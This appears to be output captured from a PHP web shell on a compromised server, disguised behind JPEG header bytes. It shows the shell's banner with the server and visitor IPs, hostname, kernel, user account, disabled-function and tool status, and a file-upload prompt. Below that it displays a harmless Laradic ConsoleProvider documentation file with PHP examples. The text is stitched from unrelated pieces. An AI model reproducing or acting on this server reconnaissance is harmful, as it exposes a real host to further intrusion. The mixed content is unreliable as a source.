ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/laradic/support/docs/abstraction/ |
Upload File : |
<!---
title: ConsoleProvider
subtitle: Abstraction
author: Robin Radic
-->
The console provider is an abstract class that allows easy command registration.
The `ConsoleProvider` handles the IoC bindings for you, as well as registering them as commands and adding them to the `provides()`.
It's advisable to add your `ConsoleProvider` to your package `ServiceProvider` its '$providers` property.
### Example
```php
namespace MyPackage\Providers;
use Laradic\Support\ConsoleServiceProvider;
class MyConsoleProvider extends ConsoleServiceProvider {
# The namespace where the commands you want to register reside in
protected $namespace = 'MyPackage\\Console';
# The commands will be binded into the IoC container with this prefix
protected $prefix = 'mypackage.commands.';
# The commands you want to register.
# The keys are the binding names, which get prefixed with $prefix
# The values are partial class names that reside in the $namespace
# The values will get suffixed with Command, so the first item will be:
# mypackage.commands.list => MyPackage\Console\WorkbenchListCommand
protected $commands = [
'list' => 'WorkbenchList',
'make' => 'WorkbenchMake',
'commit' => 'WorkbenchCommit',
'bump' => 'WorkbenchBump',
];
}
```
Then in your main `ServiceProvider` you should add it to the `$providers` array as shown below:
```php
namespace MyPackage;
use Laradic\ServiceProvider\ServiceProvider;
class MyServiceProvider extends ServiceProvider {
protected $providers = [
\MyPackage\Providers\MyConsoleProvider::class
];
}
```